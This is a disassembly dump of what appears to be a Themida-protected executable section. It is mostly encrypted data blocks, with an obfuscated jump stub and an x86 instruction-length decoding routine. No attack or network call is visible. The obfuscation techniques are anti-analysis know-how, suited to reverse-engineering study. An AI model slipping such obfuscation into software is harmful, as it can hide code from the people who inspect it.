		dd 0D6851A83h, 0E5C93093h, 6CF567DBh, 3B6294Dh,	0C4C93094h
		dd 3293ADE5h, 0C56D2BB2h, 5475EF57h, 0AF305430h, 0C93093ECh
		dd 2BB4FCDDh, 0CF7A437Ah, 6ED77253h, 927BA536h,	7D79F0Bh
		dd 0F56F0000h, 74D0EE47h, 0FB6759F0h, 69D6E841h, 2645AF3h
		dd 5FC9EB42h, 70D98BFDh, 0C46DD74Eh, 7CD587FAh,	0CA63E142h
		dd 0C675EA8Eh, 7C2E6DFh, 2B15E351h, 7C420ABAh, 0FAC45D07h
		dd 0E05CC78Ch, 0D0795879h, 60C973EEh, 460E55Eh,	0F6C86140h
		dd 915B8790h, 0B2CA2D8Bh, 1C6E0A93h, 0A866C0CAh, 0B18FC77Ch
		dd 6A74ED57h, 0BE280511h, 0E27DAC19h, 0C9307737h, 0B190B190h
		dd 0E4427C18h, 76FFBA25h, 0E9C8C930h, 4EB680C8h, 0E701F496h
		dd 7, 99E555h, 4F570000h, 68F76ED6h, 0C930A4ADh, 0EC75EF56h
		dd 57CE6ED2h, 6DCA542Fh, 0FFDE47F5h, 51DDA6DEh,	0A02480BEh
		dd 0F5BD279Eh, 91F55ACBh, 4A6B4AD3h, 0B366DDE3h, 30846D2Ch
		dd 0FF605EC9h, 0C4E5C45Dh, 35E37CE5h, 44C93084h, 9B06F33Fh
		dd 0BE214521h, 0C93083FBh, 0CA5EDCCh, 68D44FBEh, 0E854CFF1h
		dd 6F0B6F71h, 309449F0h, 43BC82C9h, 8BF0B899h, 0ED4FB29Fh
		dd 9C26DB44h, 0C6F0C930h, 1F4A75Fh, 0FFFE9894h,	2B1526FFh
		dd 0B19009BBh, 948F4AD5h, 1938C930h, 34AC551h, 4F770000h
		dd 5B42BD6h, 0C6C93094h, 0F5D488F8h, 33D24DD4h,	4CC93094h
		dd 950EEB37h, 4BB8862Fh, 0E89F0099h, 0B1C93093h, 6D099054h
		dd 93E39609h, 37ACC930h, 92DAFB8Dh, 95F13CD4h, 7A43590Ah
		dd 0F65372CFh, 7BA53679h, 5E82168Fh, 0D6000006h, 6759F06Ch
		dd 0D2EC45FFh, 5967CE6Eh, 0E3DD74E8h, 5476DF85h, 4EF650CCh
		dd 0F66ED9E7h, 5A02615Fh, 0EC58CDF3h, 0FA650145h, 0C2E6DE3Fh
		dd 4F6CDE88h, 0C9F76ED6h, 724CE55Fh, 0C4FA5311h, 457BE262h
		dd 0C6F861E3h, 447AE359h, 0B7FC65DFh, 0F4EA62CCh, 0B06BF490h
		dd 19C93094h, 1F0B7038h, 0B910D432h, 0F4AF178Fh, 292DC01h
		dd 86B80000h, 5E3AA319h, 309C1AC1h, 0B392B3C9h,	671549FBh
		dd 0F8E41EFAh, 8C38AC48h, 71153415h, 2FC02BEEh,	0F5BD9CC9h
		dd 1B8D23B3h, 2F1130A9h, 4F2B0AB2h, 0C005B42Bh,	0E7C6C92Fh
		dd 0DCA936AFh, 0C81EBEh, 65EA5A64h, 296140FCh, 5531C852h
		dd 426A0FCAh, 0D199B8CAh, 6857FE7h, 232B403h, 0B4D00000h
		dd 4272702Bh, 307859CAh, 0B72B1582h, 6B0B4D05h,	2AD14E2Ah
		dd 0B1C93094h, 948F4AD5h, 5C38C930h, 309418C3h,	0B190B1C9h
		dd 37AE8FF9h, 1F92DBA8h, 160978C8h, 4195D289h, 0FBDAFBCAh
		dd 79E35C62h, 9985FEE0h, 939FE4A3h, 540798FCh, 75CA4196h
		dd 8CF12654h, 0AA0D15E3h, 0E370D4E2h, 0CD850305h, 37000001h
		dd 72169F37h, 309432EDh, 7AE581C9h, 0C93094BFh,	17612908h
		dd 7330AF36h, 99C81F93h, 73D338E2h, 800305B1h, 1A4h, 169F3732h
		dd 0B7281672h, 0F5BD9C05h, 3094B76Ah, 0A83110C9h, 0D292F2CCh
		dd 9B02F4Bh, 0C2C93094h, 158AC2E3h, 0C81F9350h,	78E163C5h
		dd 57EDB46h, 95E77E5Fh,	30E54FDDh, 3C47C918h, 265D1AF2h
		dd 6EAF17FCh, 59440306h, 0F6000001h, 0F76ED64Fh, 91F75CC9h
		dd 1D5BF2D3h, 0C35C3875h, 0CF74B4E1h, 5FC05978h, 0C2EC7498h
		dd 52B76318h, 0FBB08FF2h, 3803h, 9B37B100h, 53E97612h
		dd 0A8CF749Fh, 0FCB43096h, 0BDCFAB8Ah, 0F80EBBB4h, 0EC59675Ah
		dd 36A93078h, 0C2EC057Fh, 3B200A71h, 0FBB024CBh, 0B668h
		dd 0CE320C00h, 9ED6F76Eh, 0BA2B152Ch, 0FAB2930Ah, 8AFA5FC4h
		dd 5C62FBDAh, 5EFE65EAh, 6BD8E67Fh, 0E55E60F9h,	5F49D67Fh
		dd 0FCC93099h, 85FE63C2h, 4667FEDFh, 6DBBA334h,	622A4381h
		dd 0D47DE75Ch, 0D3B7FE92h, 7E7128B7h, 7B5AC930h, 41335733h
		dd 45A99C89h, 31AEE6E8h, 0CF764D42h, 0F371D7E9h, 75034B6Ah
		dd 960E3054h, 3C02662Eh, 8DB31ACAh, 990CA91Bh, 8F7BAAD1h
		dd 3E38216h, 0E95B0000h, 80E4DA73h, 0EF536DC4h,	65DAE44Dh
		dd 6605EF7h, 4BD5F75Eh,	64CD77D1h, 0D079EB5Ah, 60C973EEh
		dd 0D67FE55Eh, 0B269F692h, 1BC2E6DBh, 0D94FFF4Dh, 87FCC26Bh
		dd 4FC674DDh, 340A6ED6h, 0AD8C15CFh, 0E1427CE5h, 0A355CA63h
		dd 12C93094h, 3753377Eh, 940DCC53h, 8AF6C930h, 2A9AA4D2h
		dd 50E99BBAh, 284EC29Fh, 38F26D25h, 71CF73ECh, 1372D74Fh
		dd 0C8E9C851h, 46027051h, 996DEEC9h, 6B41D3Ch, 0F76ED64Fh
		dd 0B168F793h, 1AC93094h, 9C05BF24h, 0EAD49CBDh, 0F470D479h
		dd 96D4C6Dh, 64DB927Bh,	0CC84B869h, 68F2365h, 0C9380662h
		dd 0DEC45B13h, 7FCF73D7h, 9F043A5Eh, 0D59DBC25h, 0AF16284Ch
		dd 0C58DAC35h, 0EB979B5Ah, 0BC661DC2h, 3BFE6105h, 8CC2EB97h
		dd 73D3E5ADh, 80FBAFB2h, 45h, 0FA6ADAE4h, 0B80A4263h, 4DBC2B15h
		dd 309427D2h, 0A081A0C9h, 16501839h, 0C857337Ah, 0CF749F32h
		dd 0A47BE99Bh, 6733E679h, 0B594C2ECh, 6F7992C7h, 8D48D74Eh
		dd 0FC2EC30h, 0E145AA74h, 12FBB04Fh, 10Fh, 206715A0h, 0DE1D0E95h
		dd 0EE4EB28Ch, 0B92B98A6h, 3CA81E20h, 0BA2A9BA5h, 0B7354723h
		dd 558F8351h, 0B1122C64h, 23059A33h, 0EAC93011h, 662CB79h
		dd 0F3B12574h, 971218CCh, 0F0BCCE80h, 6D531BFEh, 0E39609F8h
		dd 0E4C93040h, 197DE4C5h, 727E7C6Bh, 930EBBFAh,	0B091B029h
		dd 0C812BEF8h, 0B0DC0DBh, 0D1B5942Bh, 70248EA3h, 2B6369F0h
		dd 0BA4ED04Fh, 0A39DCF73h, 0A0D69E3Eh, 0C26E2881h, 0BBB02F4Bh
		dd 62C9325Eh, 0E178E45Ch, 0DFFE88C0h, 81E1DFBBh, 0C0E15BC4h
		dd 9450B688h, 0EB51CEF0h, 5A215372h, 0A450B863h, 2C12BBF3h
		dd 34AF0ABAh, 787DEE28h, 20775E1h, 45BF0000h, 0A4003E97h
		dd 4BB78920h, 99063891h, 52B48A23h, 0F193B92h, 0A009BB2Dh
		dd 14BD279Eh, 0AC05B72Ah, 1AB33192h, 0F6A53A5Eh, 0D7C2E6D9h
		dd 2B153381h, 7E4008BCh, 5C385C08h, 309418C3h, 0E290B1C9h
		dd 0EA24DFC0h, 0E44D05E1h, 52FB69DAh, 3B980836h, 0A18019CBh
		dd 377AC880h, 2A9A0D9Bh, 9148D7B3h, 3AC93094h, 7F1B3A1Bh
		dd 749F5AE0h, 0B92B3CFh, 70F4516Fh, 1F80C8E9h, 0C2EC8958h
		dd 0C7583C58h, 0C2EC8914h, 0A7DC94B5h, 0A82E967Bh, 0CDF3FBB0h
		dd 5071E854h, 0B34818h,	4FFA0000h, 0AD1771D6h, 0BD2B158Ch
		dd 27019E07h, 0EEC93099h, 266CF75h, 841DC73Ch, 72D3EDA5h
		dd 852D6BF2h, 6DF36C08h, 0ACCF74B2h, 0CE62248Dh, 79472347h
		dd 8F10580Ch, 0C933131Fh, 0B03490AEh, 4D290829h, 30AC1729h
		dd 0FEC088A9h, 4B75DC88h, 0A3C267DDh, 597DEE1Ah, 10F54C0h
		dd 3DA70000h, 9C08369Fh, 43BF8128h, 910E3099h, 4ABC822Bh
		dd 711339Ah, 9831B315h,	2C853FA6h, 0A40DAF12h, 12BB299Ah
		dd 0EEAD3256h, 0DFC2E6D8h, 2B153B89h, 714F07BDh, 0D752B217h
		dd 30949148h, 3A1B3AC9h, 43BC82A3h, 0AEDCB899h,	844823CCh
		dd 6AFE75Fh, 0B019CB38h, 6ED64F02h, 0F1506E0Ah,	6CF3D24Bh
		dd 0C93094ADh, 36E57A1Eh, 97C93094h, 3CA997B6h,	78301188h
		dd 0FE66DFE1h, 0EF413357h, 0DF9A0523h, 0E8C92FDDh, 0DD5FBBC9h
		dd 46EAACE4h, 8B34ABCFh, 5ACF7987h, 4BB1428h, 0EB5819ECh
		dd 66105879h, 0A41D2347h, 0C880A138h, 4EF66F51h, 38F183E7h
		dd 0FAAAFAE7h, 3EA799D1h
		dd 0F590E286h, 4959FB09h, 0CDB824ADh, 2BB69EBFh, 0D665FA63h
		dd 0AC60240h, 0DB48A571h, 0D64E0B76h, 0C76E4F6Eh, 5CC78CF9h
		dd 2A5879E0h, 1C47850h,	0C45D7CAEh, 4ED785FAh, 2EE14D36h
		dd 1426D54Ah, 86A7C3DEh, 0D193F0CEh, 67DD4678h,	36AFEh
		dd 49D80000h, 67D54FFBh, 0E163C0FEh, 61DB4678h,	0E55FC6F8h
		dd 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh
		dd 5456EDFAh, 4C6815Eh,	83000000h, 348704EEh, 0DC685C24h
		dd 8900002Ch
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 669D07A4h
		shr	ecx, 6
		push	edi
		mov	edi, 67AD339Fh
		and	edi, 36AA5CC2h
		sub	edi, 0F5350270h
		or	ecx, edi
		pop	edi
		sub	ecx, 195378D4h
		shr	ecx, 2
		xor	ecx, 1EA34B2h
		sub	ecx, 1768679h
		mov	esi, ecx
		pop	ecx
		push	4860h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		dw 0D150h
		dd 0BD1CB81Bh, 0C5030649h, 7F72E0FFh, 357A259Dh, 0A6D0CE9h
		dd 6E0E62D7h, 3A07BA4h,	574E16F3h, 0B7D458D5h, 0DFEA2F6Eh
		dd 13A415CBh, 0C065250Dh, 5D1524E2h, 95CD4D6Dh,	941416E5h
		dd 8B7E37FBh, 857668E0h, 0C01B5ACAh, 0B41E003Fh, 0FB287511h
		dd 803117EDh, 0B19D2C7Eh, 0B54556E0h, 4FA74B70h, 0DF113C2Fh
		dd 0A16D32BAh, 0D3B36661h, 98EA5E3Eh, 9E29463Eh, 0D8CC6BC8h
		dd 2F320B7Bh, 0AC2326BBh, 6BA93570h, 0C8E90517h, 88000001h
		dd 7 dup(88004188h), 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 758E000Ch, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	49C010EDh, 85C76006h
		dd 649BF5Dh, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 49BF6185h,	606h, 24E900h
		dd 858D0000h, 649BF65h,	0B5858D50h, 500649BFh, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 0BF618589h, 3610649h, 49BF61B5h
		dd 5D858B06h, 5D0649BFh
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_598746
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_598752
; ---------------------------------------------------------------------------


loc_598746:				; CODE XREF: Themida_:0059872Fj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_598752:				; CODE XREF: Themida_:00598741j
		push	ebx
		push	esi
		push	edi


loc_598755:				; CODE XREF: Themida_:005987AAj
					; Themida_:005987C6j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_598768:				; CODE XREF: Themida_:0059878Fj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 649C0C7h
		lea	ebp, [ebp+649BF3Dh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_598795
		inc	cl
		cmp	cl, 0Bh
		jb	loc_598768


loc_598795:				; CODE XREF: Themida_:00598784j
		cmp	cl, 0Bh
		jz	loc_5987F2
		cmp	al, 66h
		jnz	loc_5987D3
		cmp	byte ptr [ebp-5], 0
		jnz	loc_598755
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5987CB
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_598755
; ---------------------------------------------------------------------------


loc_5987CB:				; CODE XREF: Themida_:005987B8j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5987D3:				; CODE XREF: Themida_:005987A0j
		cmp	al, 67h
		jnz	loc_598755
		cmp	byte ptr [ebp-6], 0
		jnz	loc_598755
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_598755
; ---------------------------------------------------------------------------


loc_5987F2:				; CODE XREF: Themida_:00598798j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59881E
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_598823
; ---------------------------------------------------------------------------


loc_59881E:				; CODE XREF: Themida_:005987FDj
		movzx	edi, al
		shr	edi, 1


loc_598823:				; CODE XREF: Themida_:00598819j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 649C17Fh
		lea	ebp, [ebp+649BE3Dh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5989A5
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5988E9
		dec	ecx
		jz	loc_5988CC
		dec	ecx
		jnz	loc_59893C
		cmp	byte ptr [ebp-2], 0
		jnz	loc_598938
		cmp	byte ptr [ebp-5], 0
		jz	loc_5988AB
		mov	byte ptr [ebp+0Bh], 2


loc_5988AB:				; CODE XREF: Themida_:005988A1j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 649C20Bh
		mov	dword ptr [ebp+649BF5Dh], 1
		pop	ebp
		jmp	loc_59893C
; ---------------------------------------------------------------------------


loc_5988CC:				; CODE XREF: Themida_:00598886j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_598916
		cmp	byte ptr [ebp-5], 0
		jz	loc_598916
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_598916
; ---------------------------------------------------------------------------


loc_5988E9:				; CODE XREF: Themida_:0059887Fj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59892F
		cmp	byte ptr [ebp-5], 0
		jz	loc_59891E
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_598916
		mov	[ebp+0Bh], cl


loc_598916:				; CODE XREF: Themida_:005988D0j
					; Themida_:005988DAj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59893C
; ---------------------------------------------------------------------------


loc_59891E:				; CODE XREF: Themida_:005988F7j
		cmp	dl, 5
		jnz	loc_59893C
		mov	[ebp+0Bh], dl
		jmp	loc_59893C
; ---------------------------------------------------------------------------


loc_59892F:				; CODE XREF: Themida_:005988EDj
		cmp	dl, 6
		jnz	loc_59893C


loc_598938:				; CODE XREF: Themida_:00598897j
		mov	byte ptr [ebp+0Bh], 3


loc_59893C:				; CODE XREF: Themida_:0059888Dj
					; Themida_:005988C7j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59896A
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_59894C:				; CODE XREF: Themida_:00598962j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59894C
		mov	esi, edx


loc_59896A:				; CODE XREF: Themida_:0059893Fj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59899F
		cmp	edi, 7Fh
		ja	loc_59899F
		test	bl, 38h
		jnz	loc_59899F
		cmp	byte ptr [ebp-7], 0
		jz	loc_598999
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59899C
; ---------------------------------------------------------------------------


loc_598999:				; CODE XREF: Themida_:0059898Aj
		push	1
		pop	eax


loc_59899C:				; CODE XREF: Themida_:00598994j
		mov	[ebp-1], al


loc_59899F:				; CODE XREF: Themida_:0059896Ej
					; Themida_:00598977j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5989A5:				; CODE XREF: Themida_:0059884Fj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5989D0
		dec	eax
		dec	eax
		jz	loc_5989C6
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5989D8
; ---------------------------------------------------------------------------


loc_5989C6:				; CODE XREF: Themida_:005989B5j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5989D5
; ---------------------------------------------------------------------------


loc_5989D0:				; CODE XREF: Themida_:005989ADj
		mov	al, [ebp-3]
		add	al, 4


loc_5989D5:				; CODE XREF: Themida_:005989CBj
		add	[ebp-1], al


loc_5989D8:				; CODE XREF: Themida_:005989C1j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_598A00
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5989EB:				; CODE XREF: Themida_:005989FAj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5989EB


loc_598A00:				; CODE XREF: Themida_:005989E0j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLI		db '▀пК-',0
		dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h
		dd 697FF445h, 0A6AE9h, 0C4926800h, 7BE90649h, 68FFFABBh
		dd 649C5C6h, 0FABB71E9h, 0C6A968FFh, 67E90649h,	68FFFABBh
		dd 649C75Eh, 0FABB5DE9h, 0C82F68FFh, 53E90649h,	68FFFABBh
		dd 649C900h, 0FABB49E9h, 0C9C568FFh, 3FE90649h,	68FFFABBh
		dd 649CB66h, 0FABB35E9h, 0CC7E68FFh, 2BE90649h,	0A2FFFABBh
		dd 0B359C40h, 0BE80299Bh, 0D339A42h, 0BF812894h, 10329B49h
		dd 32B21408h, 8242A59Bh, 0EAE152Bh, 0B82C99A7h,	0AE315511h
		dd 0C2E6D0EBh, 37388ADCh, 0FA69579Bh, 941EDD42h, 8EAFC930h
		dd 2354CBAFh, 0A0CF7A58h, 24BD279Eh, 1ACA3B05h,	53B5F3Bh
		dd 9CBD24A0h, 0CB79EAD4h, 7DE75C62h, 870EA2E4h,	4DB987E3h
		dd 672F0E97h, 3094A2F8h, 0AECAEBC9h, 0D5B13390h, 5EC77DEBh
		dd 7CE0417Fh, 258CC4E5h, 0A33AAA1Bh, 0A4C04DE5h, 74B07D3Bh
		dd 0D22C5ECFh, 1A824E67h, 0E2F5911h, 0A8A2F0ABh, 29BD247Bh
		dd 8CEh, 5CF567DDh, 0EB420262h,	66CF6DD5h, 0DC75E758h
		dd 69C084E2h, 0D7BE14Bh, 65C0FE57h, 0F96856FFh,	6FD4EA43h
		dd 7C185CF5h, 0E6D038E3h, 75C791C2h, 1671D64Fh,	0B19054B1h
		dd 28D34C28h, 0A1C93094h, 1980A180h, 0AF06BE27h, 168949E9h
		dd 0C9309463h, 7BE95A64h, 0C3E2C3E2h, 0B54A38A7h, 0A283CF74h
		dd 73F1A43Bh, 98E3C2ECh, 8F3DA98Eh, 33F6FBB0h, 44000000h
		dd 76129B37h, 1466DE48h, 8785877Bh, 0CCA8E0DEh,	7424C953h
		dd 0B82100CFh, 0DD7FE2DCh, 0B22D6544h, 0C2EC2403h, 0BFA48EF5h
		dd 0FBB04347h, 0D9ECh, 0D64F5E00h, 0F16E0A6Eh, 0C930944Ah
		dd 73EAA283h, 0F069DB4Dh, 3B0DE694h, 6C36DFFFh,	3BA91A24h
		dd 0BD279CA2h, 7CC98B14h, 2C12C930h, 0B5940DB7h, 0E262C3FDh
		dd 710754Bh, 0EE8A7D5Ch, 0CD5475ECh, 0CAAEE78Bh, 8D2F90AEh
		dd 0E2905AC5h, 0F8D9CF73h, 327B1751h, 57FC6856h, 0CD5475EFh
		dd 0A4C0A4ECh, 0DD9C5FC0h, 0C2DC2EBh, 856BDB44h, 0C3E2C932h
		dd 0B52F99A7h, 0C874EFD1h, 7991A3BAh, 0DB93D772h, 6ADA4C72h
		dd 0EE6BEECFh, 1F8B127Dh, 79Ah,	8A11B89h, 0BF16CE36h, 12BB2181h
		dd 0A009B32Ch, 15BC289Eh, 990FED37h, 49BC822Bh,	950C329Bh
		dd 53B08E27h, 187C3891h, 0E6CED487h, 11A3F5C2h,	0F6BD94Fh
		dd 9445F46Bh, 0BA82C930h, 0CA62622Dh, 86CEEF99h, 30B4112Fh
		dd 9B372B99h, 0DE487612h, 0D54A2E66h, 0CF749F47h, 0A13EA786h
		dd 0C2EC88F6h, 0AC919DE6h, 0FBB0A838h, 0C9FDh, 0D64F4F00h
		dd 5FC9F76Eh, 26187CE5h, 0BF9E07BDh, 98AA68F7h,	3AABC930h
		dd 0A81D238Ah, 0A33C583Ch, 0C93090F8h, 21B8F0D1h, 2642CB67h
		dd 7493F3B9h, 0B21B3ACFh, 0B945CF4h, 0C2EC9350h, 1D795879h
		dd 33381182h, 31AECAC9h, 0C92DF08Ah, 27436243h,	0B52AAF19h
		dd 8B307507h, 0A99A22FAh, 21452188h, 2DC4FBBEh,	0A5EDCCC9h
		dd 12B72D9Bh, 7DEE6225h, 0B74EDA43h, 0E6000006h, 5769C07Ch
		dd 0E2DC75EFh, 4977DE7Eh, 0F3CD64D8h, 0A4862F95h, 0BE26807Ch
		dd 6BE2917h, 8A3291AFh,	3CA81D23h, 2AB5D195h, 0C2E6CE6Fh
		dd 4FBC0E58h, 0FCC26BD9h, 0DDB9DD87h, 30949742h, 0C44230C9h
		dd 0D6ED68DCh, 70D991B0h, 0F44A6614h, 0B9F84BAh, 0D64FF143h
		dd 5CC9F76Eh, 1B2541E8h, 5B72AA7h, 0D49CBD9Ch, 30948C4Bh
		dd 28650DC9h, 579CD34Ch, 0F1CFCF7Ah, 15632B91h,	0D1356567h
		dd 416092AFh, 0BA254125h, 0C2E738FFh, 9FA1E9C8h, 7317BE26h
		dd 0F79D64Dh, 0CCED7455h, 9B49BA84h, 61AC4402h,	64B09A05h
		dd 1839C92Bh, 0E1DD80BDh, 39AD347Dh, 602h, 0A009B311h
		dd 17BE269Eh, 0AA03B929h, 18B12B94h, 0AD04C026h, 51B7A58Fh
		dd 0A1043A93h, 4DB48A23h, 0B7846EFh, 0D0B4F059h, 0E6CD8C4Fh
		dd 0D96B3DC2h, 9BB2B15h, 0C7F9B190h, 1B7FE65Eh,	9439E07Fh
		dd 6ADAC930h, 0E5AD8CFAh, 63FA6ADBh, 0C127197Dh, 0F3BB9A03h
		dd 54B19E88h, 5BCAF490h, 195170E9h, 0B31E86B0h,	0CD701F4h
		dd 65000000h, 4B82B15h,	16ED84Ch, 156A0000h, 4E06B62Bh
		dd 309426D1h, 1A8BB5C9h, 5A1233AAh, 0BA26741Ch,	9BBA9B02h
		dd 582260FFh, 0D69CF7Ah, 0E6D0E792h, 8537A8C2h,	0EC9AD2F3h
		dd 2E97A9CDh, 0C4211FB6h, 33DF9900h, 2B019EFAh,	0B0C92AFDh
		dd 0B42C10C2h, 3A044189h, 2B5D15C7h, 1ACAF0Ah, 49D07DE1h
		dd 531DDh, 5A026000h, 0EB59CDF3h, 58047C42h, 0EA52CFF1h
		dd 590B7D43h, 0D24AD2F0h, 6759F074h, 0D3ED4400h, 5B65CC70h
		dd 97D37AEAh, 0CCAD6CF3h, 481EC2E6h, 6ED64FFAh,	0E85CC9F7h
		dd 0EE4EB28Ch, 5A213FA6h, 420263D0h, 0B369DDEBh, 78A01F4h
		dd 38000000h, 0BFE5h, 9B375700h, 60127612h, 6E2046C0h
		dd 0BE269E80h, 6F270627h, 79BAC7F0h, 412504CFh,	655B097Fh
		dd 680C4400h, 0DE77ED56h, 58C183E0h, 5F3B721Eh,	4A0CD02Dh
		dd 357DEFF6h, 256CCE51h, 0FCDDC931h, 0C23DA698h, 2FA39E5Dh
		dd 2F0E2FC9h, 1986E286h, 0C92FA362h, 3C024A6Bh,	0C2841DC7h
		dd 0B672B42Eh, 0A3AE14BEh, 0BF79E682h, 0ECF743Dh, 0F46DCF30h
		dd 5851F4D5h, 0AC7BA8C2h, 460A135h, 0D54F0000h,	94F0CE67h
		dd 0DB4779D0h, 89F6C861h, 0E2447AD3h, 3FE9CB62h, 50F96BDDh
		dd 0E44DF76Eh, 5CF567DAh, 0EA430162h, 0A655CAAEh, 27C2E6CBh
		dd 6715C371h, 9604931Ah, 0B42F114Ch, 23D44008h,	66000001h
		dd 9B0D9B37h, 3213C936h, 0CFAB8AABh, 7A582750h,	2C9AA4CFh
		dd 0C3FD99B8h, 0D884FD62h, 0F56E50F9h, 0A9592B4Fh, 9B02F3Bh
		dd 0C2C2E762h, 988791E3h, 4F0990D8h, 6A0E6AA3h,	0E70746F5h
		dd 0EEA687C2h, 0CAC7158Ah, 2706C930h, 5C087D43h, 0EA5ACBF5h
		dd 0EF55B08Eh, 645A3EA7h, 4D0B4301h, 680C68A5h,	5603BE1Ah
		dd 4024FD65h, 2FE41CDFh, 0C48CADC9h, 74009D5Bh,	0A80D2CCFh
		dd 7BA801B7h, 9BEC78E1h, 8A000003h, 330DA418h, 86B811D3h
		dd 350BA21Ah, 87B910CCh, 280AA321h, 3AAA1C00h, 8A3AAD93h
		dd 36A61D23h, 8044A19Fh, 96096D29h, 0C2E6CAE3h,	1500B2E4h
		dd 4109BB2Bh, 0E441067Fh, 7DE75E60h, 7DE4C5E4h,	3C12719h
		dd 5410754Bh, 7EA8D3CDh, 19B03491h, 0F4B3B72Fh,	122C4801h
		dd 0B5940DAFh, 30A06F2Ah, 317958C9h, 3561h, 9B37D300h
		dd 0BF26960Dh, 22BB2181h, 67032203h, 1ACA3D03h,	75EAA283h
		dd 0CF74E317h, 2D137756h, 31AE07B5h, 0C2EC4687h, 862F950Eh
		dd 0D9448B8h, 2FD99h, 0D44F2B00h, 56CFF168h, 0C7947EEh
